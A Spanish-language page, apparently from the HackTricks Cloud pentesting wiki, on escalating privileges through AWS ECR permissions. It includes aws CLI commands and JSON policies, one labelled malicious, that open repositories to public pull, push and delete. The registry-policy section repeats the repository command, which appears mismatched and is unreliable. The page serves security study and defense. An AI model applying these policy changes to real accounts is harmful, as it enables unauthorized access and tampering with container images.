Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md

3.3 KiB

AWS - ECR Privesc

{{#include ../../../banners/hacktricks-training.md}}

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Un atacante con ecr:GetAuthorizationToken y ecr:BatchGetImage puede iniciar sesión en ECR y descargar imágenes.

Para más información sobre cómo descargar imágenes:

{{#ref}} ../aws-post-exploitation/aws-ecr-post-exploitation.md {{#endref}}

Impacto Potencial: Privesc indirecto al interceptar información sensible en el tráfico.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Un atacante con todos esos permisos puede iniciar sesión en ECR y subir imágenes. Esto puede ser útil para escalar privilegios a otros entornos donde se están utilizando esas imágenes.

Para aprender cómo subir una nueva imagen/actualizar una, consulta:

{{#ref}} ../aws-services/aws-eks-enum.md {{#endref}}

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Como la sección anterior, pero para repositorios públicos.

ecr:SetRepositoryPolicy

Un atacante con este permiso podría cambiar la política del repositorio para otorgarse a sí mismo (o incluso a todos) acceso de lectura/escritura.
Por ejemplo, en este ejemplo se otorga acceso de lectura a todos.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Contenidos de my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Como en la sección anterior, pero para repositorios públicos.
Un atacante puede modificar la política del repositorio de un repositorio ECR Público para otorgar acceso público no autorizado o para escalar sus privilegios.

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Impacto Potencial: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario subir, bajar o eliminar imágenes.

ecr:PutRegistryPolicy

Un atacante con este permiso podría cambiar la política del registro para otorgarse a sí mismo, a su cuenta (o incluso a todos) acceso de lectura/escritura.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

{{#include ../../../banners/hacktricks-training.md}}